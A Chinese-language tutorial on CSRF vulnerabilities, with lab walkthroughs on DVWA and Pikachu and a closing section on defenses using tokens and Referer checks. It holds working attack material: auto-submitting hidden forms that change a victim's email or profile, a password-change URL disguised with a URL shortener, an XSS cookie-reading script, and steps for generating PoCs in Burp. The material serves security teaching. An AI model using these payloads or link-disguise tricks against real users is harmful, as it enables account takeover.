CSRF漏洞
CSRF漏洞
简介
跨站请求伪造
(也称为 CSRF)是一种 Web 安全漏洞,允许攻击者诱导用户执行他们不打算执行的操 作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。
其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用 户。
CSRF攻击攻击原理及过程如下:
1.用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息用过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送
请求到网站A;
3.用户未退出网站A之前,在同一浏览器中打开一个TAB页访问网站B;
4.网站B接受到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5.浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
要使 CSRF 攻击成为可能,必须具备三个关键条件:
- 一个功能操作。应用程序中存在攻击者有可能诱导用户的操作。这可能是特权操作(例如修改其他 用户的权限)或对用户特定数据的任何操作(例如更改用户自己的邮箱、密码)。
- 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
- 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例 如,当用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击,因为攻击者 预先构造的恶意链接中无法提前预测并定义“现有密码”的值。
例如,假设一个应用程序包含一个允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作 时,他们会发出如下 HTTP 请求:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=mage@magedu.com
这符合 CSRF 所需的条件:
- 攻击者对更改用户帐户上的电子邮件地址的操作很感兴趣。执行此操作后,攻击者通常能够触发密 码重置并完全控制用户的帐户。
- 应用程序使用会话 cookie 来识别发出请求的用户。没有其他令牌或机制来跟踪用户会话。
- 攻击者可以轻松确定执行操作所需的请求参数的值。
有了这些条件,攻击者就可以构建一个包含以下 HTML 的网页:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="mage@magedu.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
如果受害者用户访问攻击者的网页,将会发生以下情况:
- 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
- 如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie。
- 易受攻击的网站将以正常方式处理请求,将其视为由受害者用户发出,并更改其电子邮件地址。
DVWA演示
Low级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。
相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用 mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。是同一个对象的话,再 用md5进行加密,更新数据库。
知道了这些之后,我们尝试修改密码为123456,可以看到修改成功
看到顶部的URL是:
http://43.136.41.84:8080/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
根据上面的url,进行构造payload:
http://43.136.41.84:8080/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#
可以看到,直接跳转到了密码成功的页面了
但是,这样的payload,一般人都可以看出来存在陷阱,往往不会去点击,因此我们还需要进一步伪 装,把它缩短。 短网址链接:
https://www.ft12.com/
http://985.so/mxh8t
提醒一句,以后但凡看见很短的url,然后以很不常见的格式出现,千万别着急点击浏览。 点击短网址之后,现在的密码已经变成 aaa,不再是123456
Medium级别
medium类型的代码在 Low 的基础上增加了eregi函数,函数在一个字符串搜索指定的模式的字符串, 搜索不区分大小写。在 HTTP 报文中的 REFERER 参数( $_SERVER[ 'HTTP_REFERER' ] )中搜索 HOST 参 数( $_SERVER[ 'SERVER_NAME' ] )。
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
点击修改密码,用brup抓包,将referer中的127.0.0.1去掉
docker run -d -p 8081:80 -p 33062:3306 citizenstig/dvwa
High级别
High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的 token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有 token正确,才会处理客户端请求。
这个High安全等级主要是利用了DVWA的XSS漏洞和CSRF漏洞共同完成的,找到DVWA的XSS模块,通 过XSS漏洞获取浏览器Cookie
(1)利用XSS获取cookie
<script>alert(document.cookie)</script
(2)抓包 将安全等级改为low,删除token.
Pikachu 演示
电话地址修改 CSRF(GET)
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=b&phonenum=b&add=b&email=b&submit=submit HTTP/1.1
钓鱼攻击 CSRF(POST)
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post"
action="http://43.136.41.84:8083/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="100000002" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
使用Burp生成CSRF利用POC
- 在 Burp Suite Professional 中的任意位置选择需要测试或利用的请求。
- 从右键单击上下文菜单中,选择参与工具/生成 CSRF PoC。 Burp Suite 将生成一些 HTML 来触发选定的请求(减去 cookie,它将由受害者的浏览器自动添 加)。
- 可以调整 CSRF PoC 生成器中的各种选项,以微调攻击的各个方面。可能需要在一些不寻常的情况 下执行此操作以处理请求的古怪功能。
- 将生成的 HTML 复制到网页中,在登录到易受攻击网站的浏览器中查看,并测试是否成功发出了 预期的请求以及是否发生了所需的操作。
防御CSRF漏洞
防御 CSRF 攻击的最可靠方法是在相关请求中包含CSRF Token:
- 对于一般的会话令牌,是不可预测的
- 绑定到用户的会话
- 在执行相关操作之前,在每种情况下都经过严格验证
验证 HTTP Referer 字段
(1)拿到referer
(2)分割出referer中的域名
(3)根据后缀匹配域名是否是可信域
在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是 存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安 全验证。
要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以 在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每 次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。
对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。
但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且 很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中 所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成 的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token